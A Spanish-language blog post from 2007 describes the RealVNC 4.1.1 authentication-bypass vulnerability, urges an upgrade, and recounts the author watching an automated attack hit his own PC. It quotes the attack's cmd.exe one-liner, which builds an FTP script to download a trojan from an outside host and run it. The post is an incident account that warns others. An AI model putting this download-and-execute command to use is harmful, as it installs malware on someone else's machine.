17 septiembre 2007

Grave vulnerabilidad en RealVNC sufrida delante de mis ojos

Grave vulnerabilidad en RealVNC.

Parece ser que el señor Wiseman mientras creaba su propio cliente VNC (descubridor del "bug") se dio cuenta de que podía acceder al servidor sin conocer la contraseña. Trabajaba con VNC Free Edition 4.1.1 bajo Windows y, después de muchas pruebas no pudo mas que concluir que estaba ante una gravísima vulnerabilidad.

Wiseman descargó los "hermanos" de VNC TightVNC y UltraVNC y comprobó que no eran vulnerables, inmediatamente se puso en contacto con RealVNC y al poco tiempo hicieron disponible la versión no vulnerable 4.1.2.

El fallo se debe a un error de diseño en el proceso de autenticación, mientras el cliente y el servidor llegan a un acuerdo sobre el tipo de autenticación. Uno de estos tipos de autenticación disponibles desde el servidor es precisamente la no autenticación, donde no se pedirá contraseña al cliente. Una implementación incorrecta permite que sea el cliente el que elija el tipo, independientemente del que tenga configurado el propio servidor, de entre un array que éste hace disponible durante la negociación.

De esta forma, sólo es necesario cambiar un poco la información que el cliente envía, y será el propio cliente el que tenga la posibilidad de elegir "no autenticación" para acceder al servidor, aunque se encuentre en realidad protegido por contraseña.


Es más que recomendable para todos los usuarios de este programa actualizar a RealVNC Free Edition 4.1.2, Personal Edition 4.2.3, o Enterprise Edition 4.2.3 desde la web del programa o usar algun otro como UltraVNC.

Y a que viene todo este rollo ahora, si esta vulnerabilidad es de medidados de 2006. Pues bien, porque la he sufrido delante de mis propios ojos, y menos mal que lo pude parar a tiempo. He tenido la mala suerte de sufrir este fallo de seguridad por no conocerlo.

Parece ser que esta vulnerabilidad se esta utilizando para instalar malware en los equipos, en concreto esta instalando el 84785_redworld[1].exe, un troyano capaz de hacer de todo. El procedimiento es una herramienta automática que detecta la vulnerabilidad del RealVNC se conecta a nuestro PC y ejecuta:

cmd.exe /c echo open 80.103.XX.XX 22998>x&echo get 84785_redworld2.exe>>x&echo quit>>x&ftp -n -s:x&84785_redworld2.exe&del x&exit



Lo cual observé atónito como ocurría en mis propias narices, gracias a que me dio por cerrar inmediatamente la ventana en que se escribía el comando, no pasó nada. La susodicha herramienta de marras detecto mi VNC vulnerable funcionando y se coló en mi sistema, cortando el programa Nero que estaba realizando copias de seguridad y seguidamente ejecutando una ventana de comando para ejecutar la susodicha orden a gran velocidad. Por pura suerte yo estaba observando el progreso de la copia de seguridad cuando ocurrio todo esto y mi cerebro fue capaz de ver algo peligroso en todo esto y reaacionó rápidamente. Pura suerte de verdad.

Parece ser que este comando lo que hace es bajarse a través del ftp el troyano y ejecutarlo en nuestra máquina, a partir de aqui nuestro PC puede ser usado por el atacante.Por supuesto yo tenia instalada la versión con el "bug" la 4.1.1, tras el susto tengo instalado otro VNC. Nunca podemos estar seguros de nada cuando estamos conectados de alguna manera a internet. Una lástima.

No hay comentarios: